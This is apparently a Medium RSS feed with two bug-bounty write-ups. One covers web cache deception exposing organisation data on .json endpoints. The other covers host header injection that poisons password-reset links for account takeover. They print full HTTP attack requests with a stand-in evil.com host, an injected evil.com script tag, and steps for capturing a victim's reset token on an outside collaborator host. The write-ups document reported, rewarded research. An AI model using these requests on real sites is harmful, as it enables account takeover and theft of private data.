<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Salman K. on Medium]]></title>
        <description><![CDATA[Stories by Salman K. on Medium]]></description>
        <link>https://medium.com/@salmank3?source=rss-31c3a5819554------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*_TTC3KSk6ZyxsgflSOle7A.jpeg</url>
            <title>Stories by Salman K. on Medium</title>
            <link>https://medium.com/@salmank3?source=rss-31c3a5819554------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 05:05:06 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@salmank3/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I Earned $650 by Exploiting Web Cache Deception]]></title>
            <link>https://medium.com/@salmank3/how-i-earned-650-by-exploiting-web-cache-deception-8ecadd783e20?source=rss-31c3a5819554------2</link>
            <guid isPermaLink="false">https://medium.com/p/8ecadd783e20</guid>
            <dc:creator><![CDATA[Salman K.]]></dc:creator>
            <pubDate>Fri, 31 Jan 2025 09:41:34 GMT</pubDate>
            <atom:updated>2025-01-31T09:41:34.837Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>In the world of cybersecurity, web cache deception is a sneaky yet powerful attack that can expose sensitive user information due to improper caching mechanisms. In 2024, I discovered and reported a <strong>Web Cache Deception Attack</strong> that led to <strong>user organization information disclosure</strong>, earning a $650 bounty. In this article, I will break down how I found the vulnerability, the technical details, exploitation, and remediation.</p><h3>Reward</h3><p>For discovering and reporting this vulnerability, I received a <strong>$650 bounty</strong>, highlighting the severity of web cache misconfigurations and their potential risks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ow3CZxiDTFjyLA_kBQJxiA.png" /></figure><h3>What is Web Cache Deception?</h3><p>Web Cache Deception (WCD) is a vulnerability where a web server incorrectly caches sensitive data, making it publicly accessible. This typically occurs when certain URLs are cached improperly, allowing an attacker to retrieve private user-specific content.</p><p>A common scenario involves the server caching URLs with unexpected file extensions like .css, .jpg, or .js, even when they contain sensitive user-specific data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wrYFiLxXXLgtDOjI3Fbtfg.png" /><figcaption>portswigger.net article</figcaption></figure><h3>How It Works:</h3><ol><li>A user accesses a sensitive endpoint, e.g., <a href="https://target.com/account/settings">https://target.com/account/settings</a></li><li>An attacker manipulates the request to <a href="https://target.com/account/settings.css">https://target.com/account/settings.css</a></li><li>If the server incorrectly caches this response, the attacker can access private information intended only for authenticated users.</li></ol><h3>The Discovery Process</h3><p>During testing, I found an endpoint:</p><pre>https://target.com/dashboard/data/endpoint/organizations.json</pre><p>This endpoint was using web cache to store organization data related to the account.</p><h3>Step 1: Testing for Cache Deception</h3><p>I decided to test for <strong>cache deception or poisoning</strong> by adding a cache-buster parameter to the URL endpoint to check if it reset the Age response header. Each new cache-buster parameter (useless parameter) successfully reset the header, proving that cache deception was possible.</p><pre>/endpoint/organizations.json?cacheBuster=123</pre><h3>Step 2: Storing Organization Data in Cache</h3><p>I attempted to store the organization data in cache using:</p><pre>https://target.com/dashboard/data/endpoint/organizations.json?Anyparam=123</pre><p>After storing the data, I accessed the same endpoint with the same cache-buster parameter in another account and browser. I was <strong>successfully able to view the organization data of the previous account</strong>, proving that the cache stored data and allowed other accounts to retrieve it by manipulating cache-buster parameters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i7LSfoP0F9K5FyXbI1n56A.png" /></figure><h3>Step 3: Expanding the Scope</h3><p>Realizing the impact, I searched for additional vulnerable endpoints and found that <strong>every endpoint using the </strong><strong>.json extension</strong> was vulnerable:</p><ul><li>/{appName}.json?uselessParam=hello</li><li>/{{VictimsOrganizationName}}.json?uselessParam=hello</li><li>{{organizationName}}/settings.json?uselessParam=hello</li><li>/{AppName}/settings.json?uselessParam=hello</li><li>/widget.json?uselessParam=hello</li><li>/webhooks.json?uselessParam=hello</li></ul><h3>Reward Received</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*4mbYG2LY05hbU3JHv6pigg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8ecadd783e20" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[$1,250 worth of Host Header Injection]]></title>
            <link>https://medium.com/@salmank3/1-250-worth-of-host-header-injection-96563a2ac7e8?source=rss-31c3a5819554------2</link>
            <guid isPermaLink="false">https://medium.com/p/96563a2ac7e8</guid>
            <category><![CDATA[host-header-injection]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[account-takeover]]></category>
            <category><![CDATA[host-header]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Salman K.]]></dc:creator>
            <pubDate>Sun, 24 Sep 2023 13:43:54 GMT</pubDate>
            <atom:updated>2023-09-24T15:47:44.927Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*JwAuA7I9UPieCBYaA0bBAA.png" /></figure><p><strong>What is Host Header Injection?</strong></p><p>Host header injection is a web security vulnerability that occurs when an attacker manipulates the “Host” header in an HTTP request to a web server. This header is part of the HTTP protocol and is used to specify the target domain or host to which the request should be sent. Host header injection attacks typically target websites that rely on the “Host” header to determine the virtual host or website to serve. Here’s how it works and why it can have a significant impact on websites:</p><p><strong>Manipulating the Host Header</strong>: In a typical HTTP request, the “Host” header specifies the domain name or IP address of the server the client wants to communicate with. For example:</p><pre>GET /page HTTP/1.1<br>Host: www.example.com</pre><p>An attacker with the ability to control or influence the “Host” header can change it to a different domain, potentially one they control:</p><pre>GET /page HTTP/1.1<br>Host: malicious.com</pre><h3>How Can You Exploit This Vulnerability:</h3><p>Obviously, it’s not that easy to obtain $1,200 from anyone. Host Header Injection is considered an informational or P5 severity vulnerability, unless you can demonstrate a significant impact, such as an account takeover using the ‘forgot password’ functionality or other chained vulnerabilities like Web Cache Poisoning.</p><p><strong>Request:</strong></p><pre>GET /account/forgotpassword HTTP/2<br>Host: target.com<br>X-Forwarded-Host: evil.com<br>Cookie: asd=1234;<br>Accept: text/html,application/xhtml+xml,application/xml;<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate, br<br></pre><p><strong>Response:</strong></p><pre>HTTP/1.1 200 Ok<br>...<br>Response Headers<br>...<br><br>&lt;html&gt;<br>&lt;head&gt;<br>&lt;title&gt;Web Page&lt;/title&gt;<br>&lt;script src=&quot;https://evil.com/index.php&quot;&gt;<br>&lt;html&gt;</pre><h3>Account Takeover via Host Header injection:</h3><ol><li>Initially, I begin by accessing the “Forgot Password” functionality and initiate a password reset request.</li><li>Subsequently, I receive a link containing a reset password token.</li><li>In order to assess the potential existence of a vulnerability, I deliberately introduce a full stop (period) character (“.”) at the end of the <strong>HOST</strong> header within the reset password request and proceed to transmit it. The altered header appears as follows: <em>Host: target.com.</em></li></ol><pre>POST /account/forgotpassword?returnUrl=%2Fconnect%2Fauthorize%2Fcallback HTTP/2<br>Host: target.com.<br>Cookie: csrf=123;<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate, br<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 207<br>Origin: https://target.com<br>Referer: https://target.com/account/forgotpassword?returnUrl=%2Fconnect%2F<br>Sec-Fetch-Dest: document<br>Sec-Fetch-Mode: navigate<br>Sec-Fetch-Site: same-origin<br>Sec-Fetch-User: ?1<br>Te: trailers<br><br>UserEmail=gdfcg%40gg.jjh&amp;__RequestVerificationToken=CfDJ8GDFIfdscxdswacdqf6U3KlURi0Grkuo8sBP858JcLQAG_cNRggywWo76y3VIxmhy1vfVl4-lHCOhVaoH72y9nkRwyBI4iGQtacDt6yn41XExQXEdk19PEsSpZNdSDZM8JNqdnrmpf8</pre><p>4. When I checked my email this time, I received a reset password token that included the full stop I had inserted in the Host Header. This confirms that the website is vulnerable to host header injection.</p><pre>https://target.com./forgetpassword?userid=123&amp;code=2wwdsb3wehsuwhswgbsuwgqeu</pre><p>5. When I attempted to add anything after the full stop, I received a 404 error. This indicates that I need to bypass this limitation in order to proceed with further exploitation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*63AMJ8BIcNAw13aVoPznoA.png" /></figure><p>6. So, I crafted the reset password request by adding the full URL to the top of the request in order to receive a ‘200 OK’ response</p><pre>POST https://target.com/account/forgotpassword?returnUrl=%2Fconnect%2F HTTP/2<br>Host: target.com.a<br>Cookie: csrf=CfDJ8GDFIImEfuZMtjMUAD0wjkSdISqxtWbF9MT0WcjjItWKvv71ykCvBLAfhH45TNQd7Crf9INSWcMvbvgfPDdG1wx-lHyAE5mWs107rzfTUfNSpak2pVHjo7Ff3vK0mltaC4X26-YwDQN1SvOrRTIHFygaQJM<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate, br<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 213<br>Upgrade-Insecure-Requests: 1<br>Sec-Fetch-Dest: document<br>Sec-Fetch-Mode: navigate<br>Sec-Fetch-Site: same-origin<br>Sec-Fetch-User: ?1<br>Te: trailers<br><br>UserEmail=gdfcg%40gg.jjh&amp;__RequestVerificationToken=CfDJ8GDFIImEfuZMtjMUAD0wjkSZZhL3qf6U3KlURi0Grkuo8sBP858JcLQAG_cNRgdsfxsdgywWo76y3VIxmhy1vfVl4-lHCOhVaoH72y9nkRwyBI4iGQtacDt6yn41XExQXEdk19PEsSpZNdSDZM8JNqdnrmpf8</pre><p>7. But Now I get 400 Bad Request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*bXXMV7XEGaqGQb4L_BSdNw.png" /></figure><p>8.After some contemplation and research, I came to the realization that the current version of Burp Suite might be responsible for producing a ‘400 Bad Request’ error. Consequently, I made the decision to utilize an older version of Burp Suite, such as 1.7.34.</p><p>9. And BOOOOOOOOOOOOOOOOOOOOOM, I succeeded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/200/1*VOiwehnsCZiVVCrwz12GVw.gif" /></figure><p>10. Now, to demonstrate the full exploit, I simply added the Burp Collaborator link to the Host Header and sent the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WJwXkyKSZOHrOmeltcpMEA.png" /></figure><p>11. The victim will receive the crafted reset password link. Whenever the victim clicks on this link, I will receive their reset password token in my Burp Collaborator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NVV8aq4mT4AvGe1TMA_LVA.png" /></figure><p>12. Now I can use this token to take over the victim’s account, and as a result, I received a bounty of $1,250.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fSQSe4FkweDEIjqfbBn0ug.jpeg" /></figure><h3>Happy Hunting!!!!</h3><p>My LinkedIn: <a href="https://www.linkedin.com/in/salman-ashlor">https://www.linkedin.com/in/salman-ashlor</a><br>My Twitter: <a href="https://twitter.com/salman_ashlor">(9) salman khan ashlor (@salman_ashlor) / X (twitter.com)</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=96563a2ac7e8" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>